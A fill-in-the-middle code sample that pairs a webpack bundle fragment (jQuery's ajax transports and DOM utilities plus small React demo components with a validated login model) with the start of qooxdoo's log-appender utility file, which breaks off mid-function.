( nonce++ ) + uncached; } // Put hash and anti-cache on the URL that will be requested (gh-1732) s.url = cacheURL + uncached; // Change '%20' to '+' if this is encoded form body content (gh-2658) } else if ( s.data && s.processData && ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) { s.data = s.data.replace( r20, "+" ); } // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { if ( jQuery.lastModified[ cacheURL ] ) { jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); } if ( jQuery.etag[ cacheURL ] ) { jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); } } // Set the correct header, if data is being sent if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { jqXHR.setRequestHeader( "Content-Type", s.contentType ); } // Set the Accepts header for the server, depending on the dataType jqXHR.setRequestHeader( "Accept", s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? s.accepts[ s.dataTypes[ 0 ] ] + ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : s.accepts[ "*" ] ); // Check for headers option for ( i in s.headers ) { jqXHR.setRequestHeader( i, s.headers[ i ] ); } // Allow custom headers/mimetypes and early abort if ( s.beforeSend && ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) { // Abort if not done already and return return jqXHR.abort(); } // Aborting is no longer a cancellation strAbort = "abort"; // Install callbacks on deferreds completeDeferred.add( s.complete ); jqXHR.done( s.success ); jqXHR.fail( s.error ); // Get transport transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); // If no transport, we auto-abort if ( !transport ) { done( -1, "No Transport" ); } else { jqXHR.readyState = 1; // Send global event if ( fireGlobals ) { globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); } // If request was aborted inside ajaxSend, stop there if ( completed ) { return jqXHR; } // Timeout if ( s.async && s.timeout > 0 ) { timeoutTimer = window.setTimeout( function() { jqXHR.abort( "timeout" ); }, s.timeout ); } try { completed = false; transport.send( requestHeaders, done ); } catch ( e ) { // Rethrow post-completion exceptions if ( completed ) { throw e; } // Propagate others as results done( -1, e ); } } // Callback for when everything is done function done( status, nativeStatusText, responses, headers ) { var isSuccess, success, error, response, modified, statusText = nativeStatusText; // Ignore repeat invocations if ( completed ) { return; } completed = true; // Clear timeout if it exists if ( timeoutTimer ) { window.clearTimeout( timeoutTimer ); } // Dereference transport for early garbage collection // (no matter how long the jqXHR object will be used) transport = undefined; // Cache response headers responseHeadersString = headers || ""; // Set readyState jqXHR.readyState = status > 0 ? 4 : 0; // Determine if successful isSuccess = status >= 200 && status < 300 || status === 304; // Get response data if ( responses ) { response = ajaxHandleResponses( s, jqXHR, responses ); } // Convert no matter what (that way responseXXX fields are always set) response = ajaxConvert( s, response, jqXHR, isSuccess ); // If successful, handle type chaining if ( isSuccess ) { // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. if ( s.ifModified ) { modified = jqXHR.getResponseHeader( "Last-Modified" ); if ( modified ) { jQuery.lastModified[ cacheURL ] = modified; } modified = jqXHR.getResponseHeader( "etag" ); if ( modified ) { jQuery.etag[ cacheURL ] = modified; } } // if no content if ( status === 204 || s.type === "HEAD" ) { statusText = "nocontent"; // if not modified } else if ( status === 304 ) { statusText = "notmodified"; // If we have data, let's convert it } else { statusText = response.state; success = response.data; error = response.error; isSuccess = !error; } } else { // Extract error from statusText and normalize for non-aborts error = statusText; if ( status || !statusText ) { statusText = "error"; if ( status < 0 ) { status = 0; } } } // Set data for the fake xhr object jqXHR.status = status; jqXHR.statusText = ( nativeStatusText || statusText ) + ""; // Success/Error if ( isSuccess ) { deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); } else { deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); } // Status-dependent callbacks jqXHR.statusCode( statusCode ); statusCode = undefined; if ( fireGlobals ) { globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", [ jqXHR, s, isSuccess ? success : error ] ); } // Complete completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); if ( fireGlobals ) { globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); // Handle the global AJAX counter if ( !( --jQuery.active ) ) { jQuery.event.trigger( "ajaxStop" ); } } } return jqXHR; }, getJSON: function( url, data, callback ) { return jQuery.get( url, data, callback, "json" ); }, getScript: function( url, callback ) { return jQuery.get( url, undefined, callback, "script" ); } } ); jQuery.each( [ "get", "post" ], function( i, method ) { jQuery[ method ] = function( url, data, callback, type ) { // Shift arguments if data argument was omitted if ( jQuery.isFunction( data ) ) { type = type || callback; callback = data; data = undefined; } // The url can be an options object (which then must have .url) return jQuery.ajax( jQuery.extend( { url: url, type: method, dataType: type, data: data, success: callback }, jQuery.isPlainObject( url ) && url ) ); }; } ); jQuery._evalUrl = function( url ) { return jQuery.ajax( { url: url, // Make this explicit, since user can override this through ajaxSetup (#11264) type: "GET", dataType: "script", cache: true, async: false, global: false, "throws": true } ); }; jQuery.fn.extend( { wrapAll: function( html ) { var wrap; if ( this[ 0 ] ) { if ( jQuery.isFunction( html ) ) { html = html.call( this[ 0 ] ); } // The elements to wrap the target around wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); if ( this[ 0 ].parentNode ) { wrap.insertBefore( this[ 0 ] ); } wrap.map( function() { var elem = this; while ( elem.firstElementChild ) { elem = elem.firstElementChild; } return elem; } ).append( this ); } return this; }, wrapInner: function( html ) { if ( jQuery.isFunction( html ) ) { return this.each( function( i ) { jQuery( this ).wrapInner( html.call( this, i ) ); } ); } return this.each( function() { var self = jQuery( this ), contents = self.contents(); if ( contents.length ) { contents.wrapAll( html ); } else { self.append( html ); } } ); }, wrap: function( html ) { var isFunction = jQuery.isFunction( html ); return this.each( function( i ) { jQuery( this ).wrapAll( isFunction ? html.call( this, i ) : html ); } ); }, unwrap: function( selector ) { this.parent( selector ).not( "body" ).each( function() { jQuery( this ).replaceWith( this.childNodes ); } ); return this; } } ); jQuery.expr.pseudos.hidden = function( elem ) { return !jQuery.expr.pseudos.visible( elem ); }; jQuery.expr.pseudos.visible = function( elem ) { return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); }; jQuery.ajaxSettings.xhr = function() { try { return new window.XMLHttpRequest(); } catch ( e ) {} }; var xhrSuccessStatus = { // File protocol always yields status code 0, assume 200 0: 200, // Support: IE <=9 only // #1450: sometimes IE returns 1223 when it should be 204 1223: 204 }, xhrSupported = jQuery.ajaxSettings.xhr(); support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); support.ajax = xhrSupported = !!xhrSupported; jQuery.ajaxTransport( function( options ) { var callback, errorCallback; // Cross domain only allowed if supported through XMLHttpRequest if ( support.cors || xhrSupported && !options.crossDomain ) { return { send: function( headers, complete ) { var i, xhr = options.xhr(); xhr.open( options.type, options.url, options.async, options.username, options.password ); // Apply custom fields if provided if ( options.xhrFields ) { for ( i in options.xhrFields ) { xhr[ i ] = options.xhrFields[ i ]; } } // Override mime type if needed if ( options.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( options.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { headers[ "X-Requested-With" ] = "XMLHttpRequest"; } // Set headers for ( i in headers ) { xhr.setRequestHeader( i, headers[ i ] ); } // Callback callback = function( type ) { return function() { if ( callback ) { callback = errorCallback = xhr.onload = xhr.onerror = xhr.onabort = xhr.onreadystatechange = null; if ( type === "abort" ) { xhr.abort(); } else if ( type === "error" ) { // Support: IE <=9 only // On a manual native abort, IE9 throws // errors on any property access that is not readyState if ( typeof xhr.status !== "number" ) { complete( 0, "error" ); } else { complete( // File: protocol always yields status 0; see #8605, #14207 xhr.status, xhr.statusText ); } } else { complete( xhrSuccessStatus[ xhr.status ] || xhr.status, xhr.statusText, // Support: IE <=9 only // IE9 has no XHR2 but throws on binary (trac-11426) // For XHR2 non-text, let the caller handle it (gh-2498) ( xhr.responseType || "text" ) !== "text" || typeof xhr.responseText !== "string" ? { binary: xhr.response } : { text: xhr.responseText }, xhr.getAllResponseHeaders() ); } } }; }; // Listen to events xhr.onload = callback(); errorCallback = xhr.onerror = callback( "error" ); // Support: IE 9 only // Use onreadystatechange to replace onabort // to handle uncaught aborts if ( xhr.onabort !== undefined ) { xhr.onabort = errorCallback; } else { xhr.onreadystatechange = function() { // Check readyState before timeout as it changes if ( xhr.readyState === 4 ) { // Allow onerror to be called first, // but that will not handle a native abort // Also, save errorCallback to a variable // as xhr.onerror cannot be accessed window.setTimeout( function() { if ( callback ) { errorCallback(); } } ); } }; } // Create the abort callback callback = callback( "abort" ); try { // Do send the request (this may raise an exception) xhr.send( options.hasContent && options.data || null ); } catch ( e ) { // #14683: Only rethrow if this hasn't been notified as an error yet if ( callback ) { throw e; } } }, abort: function() { if ( callback ) { callback(); } } };<|fim▁hole|> // Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432) jQuery.ajaxPrefilter( function( s ) { if ( s.crossDomain ) { s.contents.script = false; } } ); // Install script dataType jQuery.ajaxSetup( { accepts: { script: "text/javascript, application/javascript, " + "application/ecmascript, application/x-ecmascript" }, contents: { script: /\b(?:java|ecma)script\b/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } } ); // Handle cache's special case and crossDomain jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; } } ); // Bind script tag hack transport jQuery.ajaxTransport( "script", function( s ) { // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, callback; return { send: function( _, complete ) { script = jQuery( "<script>" ).prop( { charset: s.scriptCharset, src: s.url } ).on( "load error", callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === "error" ? 404 : 200, evt.type ); } } ); // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } ); var oldCallbacks = [], rjsonp = /(=)\?(?=&|$)|\?\?/; // Default jsonp settings jQuery.ajaxSetup( { jsonp: "callback", jsonpCallback: function() { var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) ); this[ callback ] = true; return callback; } } ); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? "url" : typeof s.data === "string" && ( s.contentType || "" ) .indexOf( "application/x-www-form-urlencoded" ) === 0 && rjsonp.test( s.data ) && "data" ); // Handle iff the expected data type is "jsonp" or we have a parameter to set if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { // Get callback name, remembering preexisting value associated with it callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback; // Insert callback into url or form data if ( jsonProp ) { s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); } else if ( s.jsonp !== false ) { s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; } // Use data converter to retrieve json after script execution s.converters[ "script json" ] = function() { if ( !responseContainer ) { jQuery.error( callbackName + " was not called" ); } return responseContainer[ 0 ]; }; // Force json dataType s.dataTypes[ 0 ] = "json"; // Install callback overwritten = window[ callbackName ]; window[ callbackName ] = function() { responseContainer = arguments; }; // Clean-up function (fires after converters) jqXHR.always( function() { // If previous value didn't exist - remove it if ( overwritten === undefined ) { jQuery( window ).removeProp( callbackName ); // Otherwise restore preexisting value } else { window[ callbackName ] = overwritten; } // Save back as free if ( s[ callbackName ] ) { // Make sure that re-using the options doesn't screw things around s.jsonpCallback = originalSettings.jsonpCallback; // Save the callback name for future use oldCallbacks.push( callbackName ); } // Call if it was a function and we have a response if ( responseContainer && jQuery.isFunction( overwritten ) ) { overwritten( responseContainer[ 0 ] ); } responseContainer = overwritten = undefined; } ); // Delegate to script return "script"; } } ); // Support: Safari 8 only // In Safari 8 documents created via document.implementation.createHTMLDocument // collapse sibling forms: the second one becomes a child of the first one. // Because of that, this security measure has to be disabled in Safari 8. // https://bugs.webkit.org/show_bug.cgi?id=137337 support.createHTMLDocument = ( function() { var body = document.implementation.createHTMLDocument( "" ).body; body.innerHTML = "<form></form><form></form>"; return body.childNodes.length === 2; } )(); // Argument "data" should be string of html // context (optional): If specified, the fragment will be created in this context, // defaults to document // keepScripts (optional): If true, will include scripts passed in the html string jQuery.parseHTML = function( data, context, keepScripts ) { if ( typeof data !== "string" ) { return []; } if ( typeof context === "boolean" ) { keepScripts = context; context = false; } var base, parsed, scripts; if ( !context ) { // Stop scripts or inline event handlers from being executed immediately // by using document.implementation if ( support.createHTMLDocument ) { context = document.implementation.createHTMLDocument( "" ); // Set the base href for the created document // so any parsed elements with URLs // are based on the document's URL (gh-2965) base = context.createElement( "base" ); base.href = document.location.href; context.head.appendChild( base ); } else { context = document; } } parsed = rsingleTag.exec( data ); scripts = !keepScripts && []; // Single tag if ( parsed ) { return [ context.createElement( parsed[ 1 ] ) ]; } parsed = buildFragment( [ data ], context, scripts ); if ( scripts && scripts.length ) { jQuery( scripts ).remove(); } return jQuery.merge( [], parsed.childNodes ); }; /** * Load a url into a page */ jQuery.fn.load = function( url, params, callback ) { var selector, type, response, self = this, off = url.indexOf( " " ); if ( off > -1 ) { selector = jQuery.trim( url.slice( off ) ); url = url.slice( 0, off ); } // If it's a function if ( jQuery.isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( params && typeof params === "object" ) { type = "POST"; } // If we have elements to modify, make the request if ( self.length > 0 ) { jQuery.ajax( { url: url, // If "type" variable is undefined, then "GET" method will be used. // Make value of this field explicit since // user can override it through ajaxSetup method type: type || "GET", dataType: "html", data: params } ).done( function( responseText ) { // Save response for use in complete callback response = arguments; self.html( selector ? // If a selector was specified, locate the right elements in a dummy div // Exclude scripts to avoid IE 'Permission Denied' errors jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) : // Otherwise use the full result responseText ); // If the request succeeds, this function gets "data", "status", "jqXHR" // but they are ignored because response was set above. // If it fails, this function gets "jqXHR", "status", "error" } ).always( callback && function( jqXHR, status ) { self.each( function() { callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] ); } ); } ); } return this; }; // Attach a bunch of functions for handling common AJAX events jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ) { jQuery.fn[ type ] = function( fn ) { return this.on( type, fn ); }; } ); jQuery.expr.pseudos.animated = function( elem ) { return jQuery.grep( jQuery.timers, function( fn ) { return elem === fn.elem; } ).length; }; /** * Gets a window from an element */ function getWindow( elem ) { return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 && elem.defaultView; } jQuery.offset = { setOffset: function( elem, options, i ) { var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css( elem, "position" ), curElem = jQuery( elem ), props = {}; // Set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } curOffset = curElem.offset(); curCSSTop = jQuery.css( elem, "top" ); curCSSLeft = jQuery.css( elem, "left" ); calculatePosition = ( position === "absolute" || position === "fixed" ) && ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1; // Need to be able to calculate position if either // top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); curTop = curPosition.top; curLeft = curPosition.left; } else { curTop = parseFloat( curCSSTop ) || 0; curLeft = parseFloat( curCSSLeft ) || 0; } if ( jQuery.isFunction( options ) ) { // Use jQuery.extend here to allow modification of coordinates argument (gh-1848) options = options.call( elem, i, jQuery.extend( {}, curOffset ) ); } if ( options.top != null ) { props.top = ( options.top - curOffset.top ) + curTop; } if ( options.left != null ) { props.left = ( options.left - curOffset.left ) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend( { offset: function( options ) { // Preserve chaining for setter if ( arguments.length ) { return options === undefined ? this : this.each( function( i ) { jQuery.offset.setOffset( this, options, i ); } ); } var docElem, win, rect, doc, elem = this[ 0 ]; if ( !elem ) { return; } // Support: IE <=11 only // Running getBoundingClientRect on a // disconnected node in IE throws an error if ( !elem.getClientRects().length ) { return { top: 0, left: 0 }; } rect = elem.getBoundingClientRect(); // Make sure element is not hidden (display: none) if ( rect.width || rect.height ) { doc = elem.ownerDocument; win = getWindow( doc ); docElem = doc.documentElement; return { top: rect.top + win.pageYOffset - docElem.clientTop, left: rect.left + win.pageXOffset - docElem.clientLeft }; } // Return zeros for disconnected and hidden elements (gh-2310) return rect; }, position: function() { if ( !this[ 0 ] ) { return; } var offsetParent, offset, elem = this[ 0 ], parentOffset = { top: 0, left: 0 }; // Fixed elements are offset from window (parentOffset = {top:0, left: 0}, // because it is its only offset parent if ( jQuery.css( elem, "position" ) === "fixed" ) { // Assume getBoundingClientRect is there when computed position is fixed offset = elem.getBoundingClientRect(); } else { // Get *real* offsetParent offsetParent = this.offsetParent(); // Get correct offsets offset = this.offset(); if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) { parentOffset = offsetParent.offset(); } // Add offsetParent borders parentOffset = { top: parentOffset.top + jQuery.css( offsetParent[ 0 ], "borderTopWidth", true ), left: parentOffset.left + jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true ) }; } // Subtract parent offsets and element margins return { top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) }; }, // This method will return documentElement in the following cases: // 1) For the element inside the iframe without offsetParent, this method will return // documentElement of the parent window // 2) For the hidden or detached element // 3) For body or html element, i.e. in case of the html node - it will return itself // // but those exceptions were never presented as a real life use-cases // and might be considered as more preferable results. // // This logic, however, is not guaranteed and can change at any point in the future offsetParent: function() { return this.map( function() { var offsetParent = this.offsetParent; while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) { offsetParent = offsetParent.offsetParent; } return offsetParent || documentElement; } ); } } ); // Create scrollLeft and scrollTop methods jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { var top = "pageYOffset" === prop; jQuery.fn[ method ] = function( val ) { return access( this, function( elem, method, val ) { var win = getWindow( elem ); if ( val === undefined ) { return win ? win[ prop ] : elem[ method ]; } if ( win ) { win.scrollTo( !top ? val : win.pageXOffset, top ? val : win.pageYOffset ); } else { elem[ method ] = val; } }, method, val, arguments.length ); }; } ); // Support: Safari <=7 - 9.1, Chrome <=37 - 49 // Add the top/left cssHooks using jQuery.fn.position // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 // Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347 // getComputedStyle returns percent when specified for top/left/bottom/right; // rather than make the css module depend on the offset module, just check for it here jQuery.each( [ "top", "left" ], function( i, prop ) { jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, function( elem, computed ) { if ( computed ) { computed = curCSS( elem, prop ); // If curCSS returns percentage, fallback to offset return rnumnonpx.test( computed ) ? jQuery( elem ).position()[ prop ] + "px" : computed; } } ); } ); // Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) { // Margin is only for outerHeight, outerWidth jQuery.fn[ funcName ] = function( margin, value ) { var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); return access( this, function( elem, type, value ) { var doc; if ( jQuery.isWindow( elem ) ) { // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729) return funcName.indexOf( "outer" ) === 0 ? elem[ "inner" + name ] : elem.document.documentElement[ "client" + name ]; } // Get document width or height if ( elem.nodeType === 9 ) { doc = elem.documentElement; // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], // whichever is greatest return Math.max( elem.body[ "scroll" + name ], doc[ "scroll" + name ], elem.body[ "offset" + name ], doc[ "offset" + name ], doc[ "client" + name ] ); } return value === undefined ? // Get width or height on the element, requesting but not forcing parseFloat jQuery.css( elem, type, extra ) : // Set width or height on the element jQuery.style( elem, type, value, extra ); }, type, chainable ? margin : undefined, chainable ); }; } ); } ); jQuery.fn.extend( { bind: function( types, data, fn ) { return this.on( types, null, data, fn ); }, unbind: function( types, fn ) { return this.off( types, null, fn ); }, delegate: function( selector, types, data, fn ) { return this.on( types, selector, data, fn ); }, undelegate: function( selector, types, fn ) { // ( namespace ) or ( selector, types [, fn] ) return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); } } ); jQuery.parseJSON = JSON.parse; // Register as a named AMD module, since jQuery can be concatenated with other // files that may use define, but not via a proper concatenation script that // understands anonymous AMD modules. A named AMD is safest and most robust // way to register. Lowercase jquery is used because AMD module names are // derived from file names, and jQuery is normally delivered in a lowercase // file name. Do this after creating the global so that if an AMD module wants // to call noConflict to hide this version of jQuery, it will work. // Note that for maximum portability, libraries that are not jQuery should // declare themselves as anonymous modules, and avoid setting a global if an // AMD loader is present. jQuery is a special case. For more information, see // https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon if ( true ) { !(__WEBPACK_AMD_DEFINE_ARRAY__ = [], __WEBPACK_AMD_DEFINE_RESULT__ = function() { return jQuery; }.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__), __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__)); } var // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$; jQuery.noConflict = function( deep ) { if ( window.$ === jQuery ) { window.$ = _$; } if ( deep && window.jQuery === jQuery ) { window.jQuery = _jQuery; } return jQuery; }; // Expose jQuery and $ identifiers, even in AMD // (#7102#comment:10, https://github.com/jquery/jquery/pull/557) // and CommonJS for browser emulators (#13566) if ( !noGlobal ) { window.jQuery = window.$ = jQuery; } return jQuery; } ) ); /***/ }, /* 2 */ /***/ function(module, exports) { module.exports = React; /***/ }, /* 3 */ /***/ function(module, exports) { module.exports = ReactDOM; /***/ }, /* 4 */ /***/ function(module, exports, __webpack_require__) { "use strict"; var __extends = (this && this.__extends) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; var React = __webpack_require__(2); var HelloComponent = (function (_super) { __extends(HelloComponent, _super); function HelloComponent() { _super.apply(this, arguments); } HelloComponent.prototype.render = function () { return React.createElement("div", {className: this.props.class}, this.props.framework); }; return HelloComponent; }(React.Component)); Object.defineProperty(exports, "__esModule", { value: true }); exports.default = HelloComponent; /***/ }, /* 5 */ /***/ function(module, exports, __webpack_require__) { "use strict"; var __extends = (this && this.__extends) || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); }; var React = __webpack_require__(2); var LabelTextbox = (function (_super) { __extends(LabelTextbox, _super); function LabelTextbox() { _super.apply(this, arguments); } LabelTextbox.prototype.update = function (event) { var model = this.props.model; var box = this.refs["box"]; model.UserId = box.value; this.setState({ value: event.target.value }); }; LabelTextbox.prototype.render = function () { var _this = this; var classes = 'lb-txt ' + this.props.class; var model = this.props.model; return React.createElement("div", {className: classes}, React.createElement("div", {className: "label"}, this.props.label), React.createElement("div", {className: "txt-container"}, React.createElement("input", {ref: "box", className: "txt", type: this.props.type, onChange: function (e) { return _this.update(e); }, value: model.UserId}))); }; return LabelTextbox; }(React.Component)); Object.defineProperty(exports, "__esModule", { value: true }); exports.default = LabelTextbox; /***/ }, /* 6 */ /***/ function(module, exports, __webpack_require__) { "use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var validation_1 = __webpack_require__(7); var validation_2 = __webpack_require__(7); var validation_3 = __webpack_require__(7); var WebUser = (function () { function WebUser(userId, pwd) { this.UserId = userId; this.Pwd = pwd; } WebUser.prototype.validate = function () { return validation_3.validate(this)[0]; }; __decorate([ validation_1.required ], WebUser.prototype, "UserId", void 0); __decorate([ validation_1.required ], WebUser.prototype, "Pwd", void 0); WebUser = __decorate([ validation_2.validatable ], WebUser); return WebUser; }()); Object.defineProperty(exports, "__esModule", { value: true }); exports.default = WebUser; /***/ }, /* 7 */ /***/ function(module, exports) { "use strict"; function validatable(target) { console.log("Validatable class annotation reached"); } exports.validatable = validatable; function init(target) { if (!target.validators) { target.validators = []; } } function required(target, prop) { console.log("Required property annotation reached"); init(target); target.validators.push(function (modelErrors) { if (!!this[prop]) { modelErrors.push(prop.toString().concat(' validation success!')); return true; } else { modelErrors.push(prop.toString().concat(' cannot be empty!')); return false; } }); } exports.required = required; function validate(target) { var rlt = true; var modelErrors = []; if (target.validators != null && target.validators.length > 0) { for (var _i = 0, _a = target.validators; _i < _a.length; _i++) { var v = _a[_i]; rlt = v.call(target, modelErrors) && rlt; } } console.log(modelErrors); return [rlt, modelErrors]; } exports.validate = validate; /***/ } /******/ ]); //# sourceMappingURL=demo.bundle.js.map<|fim▁end|>
} } );
<|file_name|>lugwiz.10a10b4d8340.js<|end_file_name|><|fim▁begin|>/* ************************************************************************ qooxdoo - the new era of web development http://qooxdoo.org Copyright: 2004-2008 1&1 Internet AG, Germany, http://www.1und1.de License: LGPL: http://www.gnu.org/licenses/lgpl.html EPL: http://www.eclipse.org/org/documents/epl-v10.php See the LICENSE file in the project's top-level directory for details. Authors: * Sebastian Werner (wpbasti) ************************************************************************ */ /** * Contains some common methods available to all log appenders. */ qx.Class.define("qx.log.appender.Util", { statics : { /** * Converts a single log entry to HTML * * @signature function(entry) * @param entry {Map} The entry to process * @return {void} */ toHtml : function(entry) { var output = []; var item, msg, sub, list; output.push("<span class='offset'>", this.formatOffset(entry.offset, 6), "</span> "); if (entry.object) { var obj = entry.win.qx.core.ObjectRegistry.fromHashCode(entry.object); if (obj) { output.push("<span class='object' title='Object instance with hash code: " + obj.$$hash + "'>", obj.classname, "[" , obj.$$hash, "]</span>: "); } } else if (entry.clazz) { output.push("<span class='object'>" + entry.clazz.classname, "</span>: "); } var items = entry.items; for (var i=0, il=items.length; i<il; i++) { item = items[i]; msg = item.text; if (msg instanceof Array) { var list = []; for (var j=0, jl=msg.length; j<jl; j++) { sub = msg[j]; if (typeof sub === "string") { list.push("<span>" + this.escapeHTML(sub) + "</span>"); } else if (sub.key) { list.push("<span class='type-key'>" + sub.key + "</span>:<span class='type-" + sub.type + "'>" + this.escapeHTML(sub.text) + "</span>"); } else { list.push("<span class='type-" + sub.type + "'>" + this.escapeHTML(sub.text) + "</span>"); } } output.push("<span class='type-" + item.type + "'>"); if (item.type === "map") { output.push("{", list.join(", "), "}"); } else { output.push("[", list.join(", "), "]"); } output.push("</span>"); } else { output.push("<span class='type-" + item.type + "'>" + this.escapeHTML(msg) + "</span> "); } } var wrapper = document.createElement("DIV"); wrapper.innerHTML = output.join(""); wrapper.className = "level-" + entry.level; return wrapper; }, /** * Formats a numeric time offset to 6 characters. * * @param offset {Integer} Current offset value * @param length {Integer?6} Refine the length * @return {String} Padded string */ formatOffset : function(offset, length) { var str = offset.toString(); var diff = (length||6) - str.length; var pad = ""; for (var i=0; i<diff; i++) { pad += "0"; } return pad+str; }, /** * Escapes the HTML in the given value * * @param value {String} value to escape * @return {String} escaped value */ escapeHTML : function(value) { return String(value).replace(/[<>&"']/g, this.__escapeHTMLReplace); }, /** * Internal replacement helper for HTML escape. * * @param ch {String} Single item to replace. * @return {String} Replaced item */ __escapeHTMLReplace : function(ch) { var map = { "<" : "&lt;", ">" : "&gt;", "&" : "&amp;", "'" : "&#39;", '"' : "&quot;" }; return map[ch] || "?"; }, /** * Converts a single log entry to plain text * * @param entry {Map} The entry to process * @return {String} the formatted log entry */ toText : function(entry) { return this.toTextArray(entry).join(" "); }, /** * Converts a single log entry to an array of plain text * * @param entry {Map} The entry to process * @return {Array} Argument list ready message array. */ toTextArray : function(entry) { var output = []; output.push(this.formatOffset(entry.offset, 6)); if (entry.object) { var obj = entry.win.qx.core.ObjectRegistry.fromHashCode(entry.object); if (obj) { output.push(obj.classname + "[" + obj.$$hash + "]:"); } } else if (entry.clazz) { output.push(entry.clazz.classname + ":"); } var items = entry.items; var item, msg; for (var i=0, il=items.length; i<il; i++) { item = items[i]; msg = item.text; if (item.trace && item.trace.length > 0) { if (typeof(this.FORMAT_STACK) == "function") { qx.log.Logger.deprecatedConstantWarning(qx.log.appender.Util, "FORMAT_STACK", "Use qx.dev.StackTrace.FORMAT_STACKTRACE instead"); msg += "\n" + this.FORMAT_STACK(item.trace); } else { msg += "\n" + item.trace; } } if (msg instanceof Array) { var list = []; for (var j=0, jl=msg.length; j<jl; j++) { list.push(msg[j].text); } 